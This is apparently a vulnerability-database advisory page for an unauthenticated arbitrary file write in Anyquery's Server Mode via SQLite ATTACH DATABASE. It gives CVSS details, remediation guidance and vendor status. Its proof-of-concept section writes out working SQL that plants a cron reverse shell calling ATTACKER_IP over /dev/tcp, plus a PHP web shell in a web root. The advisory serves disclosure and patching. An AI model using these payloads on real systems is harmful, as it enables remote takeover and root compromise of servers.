Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Network-reachable unauthenticated Server Mode listener with no auth gives AV:N/AC:L/PR:N/UI:N; arbitrary write yields I:H/A:H, and the write action alone leaks no data so C:N.
Primary rating from Vendor (https://github.com/julien040/anyquery).
CVSS VectorVendor: https://github.com/julien040/anyquery
Lifecycle Timeline
4DescriptionCVE.org
Summary
Anyquery's server mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the ATTACH DATABASE command to write arbitrary SQLite databases to any path on the victim's filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).
Details
When Anyquery is launched in Server Mode (anyquery server), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the ATTACH DATABASE command, which creates a physical .db file on the filesystem if the file does not exist.
An attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., /var/www/html/shell.php, /etc/cron.d/pwn or /root/.ssh/authorized_keys), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like cron, sshd, and web servers like PHP tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.
PoC (Proof of Concept)
- Start the server on the victim machine:
anyquery server --host 0.0.0.0 --port 8070- Connect from an attacker machine:
mysql -u root -h <VICTIM_IP> -P 8070- Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as
/etc/cron.dor/var/spool/cron/crontabs/):
ATTACH DATABASE '/etc/cron.d/pwn' AS pwn;
CREATE TABLE pwn.task (cmd TEXT);
INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');*Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:*
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
CREATE TABLE pwn.hacked (cmd TEXT);
INSERT INTO pwn.hacked VALUES ('<?php system($_GET["cmd"]); ?>');*If testing locally as a non-root user, you can verify the vulnerability by writing to /tmp:*
ATTACH DATABASE '/tmp/pwn.db' AS pwn;
CREATE TABLE pwn.test (cmd TEXT);
INSERT INTO pwn.test VALUES ('Hello Anyquery AFW');Within 60 seconds, the system's cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.
Impact
- Confidentiality: None (from the write action itself, though combined with LFR it becomes High).
- Integrity: High. Arbitrary files can be written or overwritten, which corrupts the filesystem.
- Availability: High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).
- CVSS Score: 9.1 (Critical) -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - *Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).*
Remediation
Disable dangerous SQLite functions (ATTACH DATABASE, DETACH DATABASE, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.
Articles & Coverage 1
AnalysisAI
Arbitrary file write in Anyquery Server Mode (versions < 0.4.5) allows unauthenticated remote attackers to write files to any path the process can access by abusing SQLite's native ATTACH DATABASE command exposed over the MySQL-compatible listener. Because the server blindly proxies SQL to the underlying SQLite engine, an attacker can create files such as cron jobs, PHP web shells, or SSH authorized_keys and escalate the file write into remote code execution or denial of service. A working step-by-step proof-of-concept is published in the vendor's GitHub Security Advisory (GHSA-xrcf-6jh3-ggvx); there is no CISA KEV entry and no confirmed in-the-wild exploitation at time of analysis.
Technical ContextAI
Anyquery is an open-source Go query engine (pkg:go/github.com/julien040/anyquery) built on top of SQLite that lets users query arbitrary data sources over SQL. In Server Mode (anyquery server), it exposes a MySQL wire-protocol listener and forwards incoming statements directly to SQLite without a command allow-list. SQLite's ATTACH DATABASE statement creates a physical .db file on disk when the target does not already exist, so an attacker-controlled ATTACH path becomes an attacker-controlled file creation primitive. The CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / Path Traversal) classification captures the root cause: no restriction on the pathname supplied to ATTACH. Although the written file begins with a binary SQLite header, permissive parsers in cron, sshd, and PHP ignore the garbage header bytes and act on the valid payload rows inserted via subsequent INSERT statements, turning file write into code execution.
RemediationAI
Vendor-released patch: 0.4.5 - upgrade Anyquery to version 0.4.5 or later, which adds server sandboxing (commit 27f84fc) to remediate this issue and the related CVE-2026-47253; see https://github.com/julien040/anyquery/releases/tag/0.4.5 and the advisory https://github.com/julien040/anyquery/security/advisories/GHSA-xrcf-6jh3-ggvx. If immediate patching is not possible, do not expose Server Mode to untrusted networks: avoid binding to 0.0.0.0 and instead bind to 127.0.0.1 or a trusted management interface, and firewall the server port (default in the PoC is 8070) so only trusted hosts can reach it - the trade-off is loss of remote access for legitimate clients. Run the Anyquery process as an unprivileged, least-permission user with no write access to sensitive directories such as /etc/cron.d, /var/spool/cron/crontabs, web roots, and SSH key paths, ideally inside a container or restricted filesystem namespace, which limits but does not eliminate the arbitrary write. The vendor's fix approach - disabling ATTACH/DETACH DATABASE and restricting the MySQL handler to the main or in-memory database - is the definitive control and cannot be fully replicated by configuration alone in older versions.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-22 – Path Traversal
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-77809
GHSA-xrcf-6jh3-ggvx